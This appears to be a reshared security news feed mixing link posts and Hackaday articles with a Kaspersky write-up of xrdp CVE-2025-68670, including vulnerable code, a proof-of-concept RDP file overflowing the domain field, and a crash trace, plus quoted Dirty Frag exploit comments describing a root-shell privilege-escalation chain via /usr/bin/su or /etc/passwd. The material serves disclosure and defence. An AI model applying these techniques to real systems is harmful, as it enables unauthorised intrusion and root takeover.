Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

New Ivanti EPMM Zero-Day CVE-2026-6973 Actively Exploited — Patch Immediately
#CyberSecurity
securebulletin.com/new-ivanti-…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Dirty Frag: New Linux Kernel Vulnerability Chains Two Flaws to Grant Root Privileges — Public PoC Released
#CyberSecurity
securebulletin.com/dirty-frag-…

CVE-2025-68670: discovering an RCE vulnerability in xrdp


The media in this post is not displayed to visitors. To view it, please log in.

In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP


Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;

// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}

while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}

v n -= u8len;
v += u8len;
}

else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}

r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp


The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];

/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC


As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation


It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline


  • 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
  • 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
  • 12/15/2025: investigation and prioritization of the vulnerability began.
  • 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
  • 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
  • 01/27/2026: the patch was merged into the project’s main branch.


Conclusion


Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.


securelist.com/cve-2025-68670/…

#1 #define #10 #18 #8 #5 #2 #4 #9 #3 #6 #7 #12 #13 #15 #16 #17 #19 #14 #11 #ifdef #endif
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Gli scienziati bypassano gli occhi: così il cervello “vede” senza la retina

📌 Link all'articolo : redhotcyber.com/post/gli-scien…

A cura di Carolina Vivianti

#redhotcyber #news #visioneartificiale #dispositivoneurale #wireless

reshared this

An Improved Robot Dog for Senior Design


The media in this post is not displayed to visitors. To view it, please log in.

A black and yellow robot dog stands in the middle of the floor, with a GoPro camera mounted on its back. A picture-in-picture view in the bottom left corner shows the view from the camera.

[Aaed Musa] has been building robot dogs for a long time now, so it was only natural that he would make one for the senior design project of his mechanical engineering degree. Since this meant working with potential customers, the requirements were somewhat more stringent than for previous dogs, but [Aaed] and his team were able to deliver CARA 2.0, their most agile, versatile robot yet.

Based on conversations with potential customers, [Aaed] and his team aimed for a price around $1,000 USD, a weight under 20 pounds, and a durable design. Like the original CARA, this used capstan drives to actuate the joints, which reduced costs. The drives were printed in resin and powered by brushless drone motors. These motors were designed for speed, not torque, so the team had to rewind them with more wire, an ordeal which paid off by roughly tripling the torque. As far as durability, one joint motor was tested by running it continuously back and forth, and it lasted for over 1,000 hours without obvious damage.

Since the joints don’t contain any absolute encoders, each motor has to home on startup by extending to its limit, as detected by a rise in motor current. As a happy side effect, this creates a lifelike stretching motion on startup. Compared to the earlier iteration, CARA 2.0 takes shorter, quicker steps, and thanks to angled step movements can turn much more quickly. In testing, it originally skewed to the left, which turned out to be due to an asymmetric leg design. Once corrected, CARA 2.0 could walk in straight lines, walk sideways, turn in place, crouch, jump, and keep its balance on an inclined surface. It didn’t quite make the price goal, but $1,450 is still cheap for such a capable robot dog, and it reached every other customer requirement. Most importantly, all the team graduated.

For another take on a capstan-powered robot dog, check out Stanley. We’ve also taken a look at TOPS, one of [Aaed]’s earlier designs.

youtube.com/embed/GFLa1b1juUo?…


hackaday.com/2026/05/08/an-imp…

Cybersecurity & cyberwarfare ha ricondiviso questo.

#AI, #Cyberwarfare, and Autonomous Weapons: Inside America’s New Military Strategy
securityaffairs.com/191842/cyb…
#securityaffairs #hacking
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

303 – Italia avanti, Europa ferma camisanicalzolari.it/303-itali…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

🚀 Gli speaker della RHC Conference 2026

📍𝗣𝗿𝗼𝗴𝗿𝗮𝗺𝗺𝗮: redhotcyber.com/linksSk2L/prog…
📍𝗜𝘀𝗰𝗿𝗶𝘇𝗶𝗼𝗻𝗲 : rhc-conference-2026.eventbrite…

#redhotcyber #rhcconference #conferenza #informationsecurity #ethicalhacking #dataprotection

The Montgomery Ward Gasoline-Powered Clothes Iron


The media in this post is not displayed to visitors. To view it, please log in.

Before the advent of electricity in the home made electrically-heated clothes irons a possibility, ironing was a cumbersome process, with self-heated irons being an arguable improvement over solid (so-called sad) irons that required heating in an external heat source like a stove or fire. These self-heating irons used a variety of fuels, with the one featured on the [Our Own Devices] YouTube channel using gasoline for fuel, making it technically a gasoline-powered clothes iron.

The used gasoline form is LSR, which is commonly referred to as naphtha and is also sold as camping fuel today. In addition to the gasoline version a kerosene-powered version was also sold, so you had to better make sure you refueled your iron with the right fuel.

After pouring in fresh fuel you have to prime it by pushing the plunger a couple of times, before igniting the burner with a lit match via a hole in the side while opening the fuel valve. If you did things right, the iron will now be heating up. In a sense this makes it effectively like a camping stove, with also many of the same caveats, with such irons gaining a reputation for starting fires and causing bodily harm.

Due to decaying seals this iron in the video wasn’t fired up, but it was disassembled to show the internal components, along with a comparison of the kerosene version. Inside is a kind of crude carburetor that mixes air in with the fuel to get a combustible fuel-air mix, along with plenty of soot to attest to this iron having been regularly used.

Although electrical irons eventually removed all need for gasoline-powered irons, they were still used in mostly rural settings until the 1950s. Reading the Wikipedia entry on clothes irons makes one rather glad that these days we can iron our clothes without all the fuss and significant risk of accidents of these old irons.

youtube.com/embed/wIdLUm-VzEk?…


hackaday.com/2026/05/07/the-mo…

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

AI e contenuti: perché produrre di più ti rende più invisibile online

📌 Link all'articolo : redhotcyber.com/post/ai-e-cont…

A cura di Roberto Villani

#redhotcyber #news #intelligenzaArtificiale #contenutiDigitali #efficienza #qualitaContenuti

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

AI e i pregiudizi razziali: Nuovi Metodi per Ridurre gli Errori e i Bias

📌 Link all'articolo : redhotcyber.com/post/ai-e-i-pr…

A cura di Redazione RHC

#redhotcyber #news #intelligenzaartificiale #medicina #bias #pregiudizi #modellidimachinelearning

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Benvenuto nel Paese delle Call! Dove tutto è critico e tutti siamo invisibili

📌 Link all'articolo : redhotcyber.com/post/benvenuto…

A cura di Daniela Linda

#redhotcyber #news #stregatto #alicenelpaesedellemeraviglie #sensoDeldovere #invisibile

reshared this

Cybersecurity & cyberwarfare ha ricondiviso questo.

Leaks Reveal Netanyahu Paid to Free Juan Orlando Hernández; Trump Seeks to Return Hernández to Power in Honduras – Orinoco Tribune
orinocotribune.com/leaks-revea…

'In one of the recordings, attributed to Hernández himself, he explains that the funds used to secure the pardon came from “a group of rabbis.” Minutes later, he clarifies that “Israel” and Benjamin Netanyahu are “in large part” responsible for the pardon'

#Honduras #AmericanEmpire #Israel #Trump #RightWing

reshared this

An LLM From “Scratch”


The media in this post is not displayed to visitors. To view it, please log in.

Reading a book about bowling is not the same as actually bowling. If that resonates with you and you want to learn more about large language models, check out the LLM From Scratch project. The hands-on workshop lets you use a Mac, Linux, or Windows PC running Python and common libraries like numpy and torch to build your own bare-bones LLM.

The project takes inspiration from nanoGPT but scales it down so you can train the model in around an hour on a typical computer. It will use an Apple or NVIDIA GPU, if available.

There are six parts to the workshop: the tokenizer, the transformer, the training loop, text generation, and then wrap-up parts where you train the model and find the best AI poet.

In addition, the references section has a number of interesting papers, including some you’ve probably seen before and some that you may have missed.

We like learning things from first principles when possible. If you aren’t keen on Python, you can also build your own LLM in a spreadsheet.


hackaday.com/2026/05/07/an-llm…

How To Avoid Failed Screw Holes In 3D Printed Parts


The media in this post is not displayed to visitors. To view it, please log in.

Screws are useful fasteners for 3D prints, but the effectiveness of a screw (not to mention the ease or hassle of insertion) depends on the hole itself. This comprehensive guide on how to design screw holes in 3D printed parts takes guesswork out by providing reference tables as well as useful general tips.

The guide provides handy tables saying exactly how big to design a hole depending on screw type, material (PLA, PETG, or high-flow PETG) and whether the hole is printed in a vertical or horizontal orientation. This takes the guesswork out of screw hole design.
There’s no reason to guess the right size of hole for a screw, just refer to some handy tables.
The reason for different numbers is because multiple (but predictable) variables affect a 3D-printed hole’s final dimensions. Shrinkage, filament properties, and printing orientation can all measurably affect small features like screw holes; accounting for these is the difference between a good fit, and cracking or stripping.

In addition to the tables, there are loads of other useful tips. Designing lead-ins makes screws easier to insert and engage, and while increasing walls is an easy way to add strength it’s also possible to use 3D-printed microfeatures which are more resistant to distortion and don’t depend on slicer settings. There’s even suggested torque amounts for different screw and material types.

Sure, the most reliable way to get a hole of a known size is to drill it out yourself. But that’s an extra step, and drill bits aren’t always at hand in the desired sizes. The guide shows that it is entirely possible to print an ideal screw hole by taking a few variables into account.

If your design calls for screws, be sure to check it out and see if there’s anything you can use in your own designs.


hackaday.com/2026/05/07/how-to…

Cybersecurity & cyberwarfare ha ricondiviso questo.

NEW: Cybercrime group ShinyHunters claims to have hacked education tech giant Instructure again. The hackers say they defaced the company's Canvas platform login pages of at least three customers.

ShinyHunters is using this apparent second hack as another chance to extort Instructure and its customers, giving them a few days to respond to their requests or face the leak of the stolen data.

techcrunch.com/2026/05/07/hack…

in reply to Lorenzo Franceschi-Bicchierai

The media in this post is not displayed to visitors. To view it, please go to the original post.

UPDATE: An Instructure spokesperson told us that when the company discovered the defacements, “out of an abundance of caution, we immediately took [platform] Canvas offline to contain access and further investigate.”

techcrunch.com/2026/05/07/hack…

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Meta sta rendendo insicuri i messaggi diretti su Instagram: cosa si può fare al riguardo?

Meta ha voluto un importante cambiamento di Instagram che avverrà l'8 maggio
Questo ti interessa direttamente e interesserà centinaia di milioni di persone

@informatica

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Did you like CopyFail, but were annoyed that it didn't work on distros with somewhat up-to-date kernels, like Ubuntu 26.04?

Don't worry. Dirty Frag has got your back!

From the advisory:

Because the responsible disclosure schedule and embargo have been broken,
no patches exist for any distribution. Use the following command to remove the
modules in which the vulnerabilities occur:
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"<br>


From the Code:

 * DirtyFrag chain — uid=1000 → root.<br> *<br> * 1. ESP path  (authencesn AF_ALG --corrupt-only): overwrites the first<br> *    160 bytes of /usr/bin/su's page-cache with a static x86_64 root-<br> *    shell ELF.  Works on every distro tested regardless of PAM nullok<br> *    or /etc/passwd contents — once invoked, the patched setuid-root<br> *    /usr/bin/su just execs /bin/sh as uid 0.<br> *<br> * 2. rxrpc path  (Ubuntu fallback): if AF_ALG is sandboxed and the ESP<br> *    path can't reach the page cache, fall back to the rxrpc/rxkad<br> *    nullok primitive that patches /etc/passwd's root entry empty.<br> *    PAM nullok then accepts the empty password during `su -`.<br> *<br> * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a<br> *    fresh PTY and bridge the user's tty to it.  The bridge handles<br> *    both the patched-su (no PAM at all) and the patched-passwd (PAM<br> *    nullok) cases uniformly, and works even when the caller is in a<br> *    background process group of an ssh-allocated PTY.<br>
Questa voce è stata modificata (1 mese fa)
in reply to Will Dormann

The media in this post is not displayed to visitors. To view it, please go to the original post.

CopyFail didn't affect Debian 12, and it has been said that this was not intentional, but rather due to an imcomplete backport

Interestingly, Debian 12 is also seemingly unaffected by Dirty Frag as well. (But Debian 11 and 13 are affected)

I'm curious if the Debian 12 behavior is by accident. 🤔

Cybersecurity & cyberwarfare ha ricondiviso questo.

Nation-state actors exploit #Palo #Alto PAN-OS zero-day for weeks
securityaffairs.com/191831/hac…
#securityaffairs #hacking

3D Printed Train Whistles Sound Out at Full Scale


The media in this post is not displayed to visitors. To view it, please log in.

The age of steam is long gone, but there are few railfans who don’t have a soft spot for the old rolling kettles. So you’d best believe when [AeroKoi] talks about 3D printed train whistles, that’s steam whistles. Generally speaking, Diesels have horns.

You would not expect printed plastic to hold up to live steam– but that’s why [AeroKoi] uses compressed air. Besides, it’s a lot easier to both justify and maintain an air compressor than a boiler in the shop. At least some hobbyists say it doesn’t make a huge difference with brass whistles, so it should be good enough for plastic. What’s interesting is that even with 120 PSI blasting through them, these multi-part prints held together and sounded amazing.

[AeroKoi] does demonstrate there was a learning curve to climb before he had a good whistle design, and shows you what features worked best. He shared two successes on Thingiverse: A 6-Chime whistle from the Sante Fe Railroad, and a Northern Pacific 5-chime whistle, both 4″ in diameter and printed in vertically sectioned parts. The Northern Pacific is not to be confused with the totally different Union Pacific Railroad, whose famous “Big Boy” also had a whistle feature in the video — though evidently he’s not as happy with it, since he did not share the design.

Those are all North American designs, but there’s no reason this technique wouldn’t work to replicate a more European sound; one of his early experiments was kind of going in that direction already. Of course if you want a perfect replica, the old ways are the best ways: cast brass and live steam. We’ve had a few articles about train whistles in the past, one of which was a doorbell.

youtube.com/embed/dCrrUUhSmH0?…


hackaday.com/2026/05/07/3d-pri…

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

🚨 nuova rivendicazione #ransomware Italia 🚨 🏴‍☠️ gruppo #Safepay🧬 Soavegel S.R.L. | Francavilla Fontana (BR) 🎯 settore: alimentare 🔗 soavegel.it🗓️ 07 maggio 2026 📄 sample: - ▪️ dati esfiltrati dichiarati: - ▪️ dati esfiltrati pubblicati: - ⏲️ scadenza: 09 maggio 2026 #ransomNews #cyberthreats

reshared this

DIY Electrolysis Machine Removes Hair Permanently


The media in this post is not displayed to visitors. To view it, please log in.

If you talk to the FDA, there’s only one permanent method of hair removal—electrolysis. This involves sticking a needle into a hair follicle, getting it very hot or running a current through it, and then letting heat and/or the lye generated kill the root of the hair dead. Normally, you’d pay someone with a commercial machine to do this for you at great expense. Or, you could do it yourself with a home-built machine, as [n3tcat] did.

Based on the available information out in the wild, [n3tcat] decided to build a galvanic electrolysis machine. This specifically passes current through a needle in the hair follicle to generate lye at the hair bulb, which kills it. The amount of lye generated depends on the amount of current and the time over which it is applied. More lye is more likely to kill a follicle permanently, though there are limits with regards to avoiding scarring, other skin damage, and excessive pain.

[n3tcat]’s guide explains the basic theory behind galvanic electrolysis, as well as how the rig was built. An early attempt simply involved hooking up a 12-volt car battery to a standard electrolysis needle, sticking it in a hair, with the other electrode being an aluminium can held by the person being treated. The fun thing was that this allowed varying the current depending on how much contact and how stiffly the person grabbed the can.

After a few successful hair removals this way, [n3tcat] decided to build a better rig. An RP2040 microcontroller was enlisted to run the show, powered by a 3.7-volt lithium rechargeable battery. An OLED screen and a rotary encoder were selected to serve as the interface, while a foot pedal was added for firing off current. A boost converter was used to push the battery voltage up to the vicinity of 15 volts for delivery to the needle, set up to avoid excessive current delivery for safety. A DAC was paired with an LM358 op-amp feeding into a MOSFET to control the current passed to the needle for accurate, controlled treatment, with the RP2040 monitoring the current level via a dedicated ADC. The needle itself got a D-printed pen-like handle for better ergonomics, easing the process of slotting the needle into a hair follicle. Everything was then assembled on a cute PCB, and wrapped up in a nice 3D printed housing. The files are available for the curious.

Electrolysis is a process that can cost many thousands of dollars depending on how much hair you hope to remove. Thus, it’s easy to see the appeal in having a rig that lets you do it at home. It’s just one of those things where you have to take the proper precautions to ensure you’re not unduly hurting yourself. Stay safe out there, hackers!


hackaday.com/2026/05/07/diy-el…

Cybersecurity & cyberwarfare ha ricondiviso questo.

NEW: An unknown group of hackers is taking over systems already compromised by the cybercrime group TeamPCP and immediately kicking the group out. The group then steals credentials and tries to monetize them in different ways, according to new research by SentinelOne.

It’s unclear who this new group of hackers are, but one possible explanation is that they are former members of TeamPCP, according to the researcher who found them.

techcrunch.com/2026/05/07/hack…

Congratulations to the Green Powered Challenge Winners!


The media in this post is not displayed to visitors. To view it, please log in.

For this challenge, we asked you to show off your hacks that power themselves sustainably from the environment around them. After all, nobody likes wires, and changing batteries is just a hassle. What’s better than an autonomous gizmo? Nothing.

Because this is Hackaday, we expected to see some finished-looking projects, some absolutely zany concepts, and basically everything in-between, and you did not disappoint! So without further ado, let’s have a look at the 2026 Green Powered Challenge winners, each of whom will be going on a $150 shopping spree at DigiKey, our contest’s sponsor.

LightInk Solar Watch


LightInk is a beautiful wristwatch, and e-ink is a natural companion to the small power budget that you get with a wrist-mounted solar panel. But don’t be fooled by its good looks! The real beauty of this hack is the way that [Daniel Ansorregui] crammed the screen-updating routine into the wakeup stub in the RTC peripheral. This means that the ESP32 doesn’t have to access the SPI flash every time it wakes up, saving precious milliseconds of wake time, and cutting average power in half. This is a trick you’ll want to know even if you don’t need a sexy e-ink wristwatch. (Which you do.)

Supercapacitor Solar IoT


[Nelectra]’s “Heliotrax” solar supercapacitor charger stores up the sun’s power in low-maintenance supercapacitors until it’s time to wake up your device. But supercaps have an output voltage that depends dramatically on their state of charge, so [Nelectra] added a high-efficiency and low-leakage boost converter to get a nice constant voltage out. Depending on your current needs, it can charge up in the sun and run for a few dark days without any problems. It’s a one-stop shop for solar-powered IoT devices, and it should make a whole range of projects easier to realize.

powerTimer


[Juan Flores]’s powerTimer is another module that enables your small off-grid hacks. In this case, it’s a simple latching electronic switch, designed for ultra-low quiescent power. Maybe your project has a microcontroller with a good sleep mode, but the peripherals are leaky hogs? Put the powerTimer in the middle and get your whole system’s power budget down without much extra thought. And if you don’t want to wake the microcontroller, it’s got a low-power RTC on board that can handle periodic wakeups. It’s a sweet, simple design that solves a real problem, and our judges loved that.

Honorable Mentions


  • Solar: We knew there would be some great solar-powered projects here, and [Jake Wachlin]’s Ultra Low Power Feather Development Board is a great example. He pairs a low-power accelerometer and barometer with a power-sipping microcontroller to almost achieve ambient-room-lighting capability. [Jake] says you have to put it directly under a light, or in indirect sunlight. But if you have full sun at your disposal, [Arnov Sharma]’s SolMate is a lovely DIY solar power bank that we’d love to bring to the park with us.
  • Anything But PV: OK, enough solar. [Ethan]’s Gravity-Powered Digital Clock is exactly the sort of out-of-the-box idea we were hoping to see. He pairs a Casio F91W with an insane gear train, a homebrew electrical generator, and a dumbbell to gather up all of the gravity that makes it work. Or should do so. The gear train ended up having so many stages that it wouldn’t turn under its own magnified friction, and the project doesn’t quite spin. But we love the idea of a wind-up electrical clock, and we hope [Ethan] doesn’t give up!
  • Least Power: [caspar]’s Harvesting NFC Energy to Transmit Commands includes a stock Pi Pico dev board and some AA batteries, so you might be thinking “where is the low power element?” It’s the NFC wakeup circuit that reads in some data and writes it directly to the Pico’s EEPROM, before it wakes the chip up, which then reads the command out of EEPROM and does whatever it does under normal battery power, and then shuts itself down again. We love the idea of surreptitious NFC-powered data insertion while the microcontroller is still sleeping.
  • Most Power: We initially expected this honorable mention to go to an over-sized solar install, but in the end [alnwlsn]’s Practical Power Cycling won over our judges with an unbeatable display of human determination: over five years, [alnwlsn] has generated 38 kWh on his generator bike, has powered a 3D printer through a Benchy, and even toasted a piece of toast. Maybe the real power here is the human spirit? Check out [alnwlsn]’s great build logs and diary.


Thanks to All!


